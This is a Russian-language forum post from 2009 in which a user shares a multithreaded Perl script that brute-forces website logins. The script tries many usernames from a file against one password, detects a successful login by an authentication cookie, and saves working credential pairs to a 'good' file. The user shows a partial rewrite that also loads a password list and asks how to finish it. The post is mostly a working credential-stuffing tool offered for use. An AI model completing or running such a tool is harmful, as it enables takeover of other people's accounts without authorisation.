
11.06.2009, 18:36
|
|
Новичок
Регистрация: 07.06.2009
Сообщений: 1
Провел на форуме: 23900
Репутация:
0
|
|
Имеется скрипт, хотелось бы сделать так чтоб пароли брались также как и логины из файла txt. Сам пытался сделать но не получается.
Сам скрипт:
Код:
#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';
$pwd = shift || '123456' ; #Пароль
$threads = shift || 20 ; #Кол-во потоков
$ml = shift || 'acc.txt' ; #Список акков
$fname = 'good.txt' ; #Валидные
my $i : shared = 0;
my @trl;
$| =1;
print "Loading...\n";
open (ACS, "<$ml") || die("Could not open acc list file!");
my @acc : shared = <ACS>;
chomp(@acc);
close(ACS);
$size = scalar @acc;
print "Loaded: ".$size." accs.\n";
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while(@acc)
{
{lock(@acc);$acc = shift @acc;}
my $sock = sock();
my $data =
"-----------------------------18847261322183\n".
"Content-Disposition: form-data; name=\"username\"\n\n".
"$acc\n".
"-----------------------------18847261322183\n".
"Content-Disposition: form-data; name=\"password\"\n\n".
"$pwd\n".
"-----------------------------18847261322183\n".
"Content-Disposition: form-data; name=\"login\"\n\n".
"Submit\n".
"-----------------------------18847261322183--\n\n";
my $re =
"POST HTTP/1.1\n".
"Host: \n".
"User-Agent: Mozilla/4.0\n".
"Connection: close\n".
"Referer: \n".
"Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n".
"Content-Length: ".length($data)."\n\n".$data;
print $sock $re;
read($sock,my $answ,10000);
if($answ =~ /cdb_auth/)
{
print "[+] $acc\n";
open(FILE, ">>$fname") || die("Could not open $fname\n");
flock(FILE, LOCK_EX);
print FILE "$acc:$pwd\n";
flock(FILE, LOCK_UN);
close(FILE);
}
{lock($i);$i++;}
print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r";
close($sock);
}
}
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => '',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "Can't connect\n";
} while (!$sock);
return $sock;
}
Точто сам сделал:
Код:
$pwd = shift || 'pass.txt' ; #Пароль
$threads = shift || 20 ; #Кол-во потоков
$ml = shift || 'acc.txt' ; #Список акков
$fname = 'good.txt' ; #Валидные
my $i : shared = 0;
my @trl;
$| =1;
print "Loading...\n";
open (ACS, "<$ml") || die("Could not open acc list file!");
open (PWD, "<$pwd") || die("Could not open pass list file!");
my @acc : shared = <ACS>;
my @pwd : shared = <PWD>;
chomp(@acc);
chomp(@pwd);
close(ACS);
close(PWD);
$size = scalar @acc;
$size2 = scalar @pwd;
print "Loaded: ".$size." accs.\n";
print "Loaded: ".$size2." pwds.\n";
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
Дальше не могу сообразить что делать.
|
|
|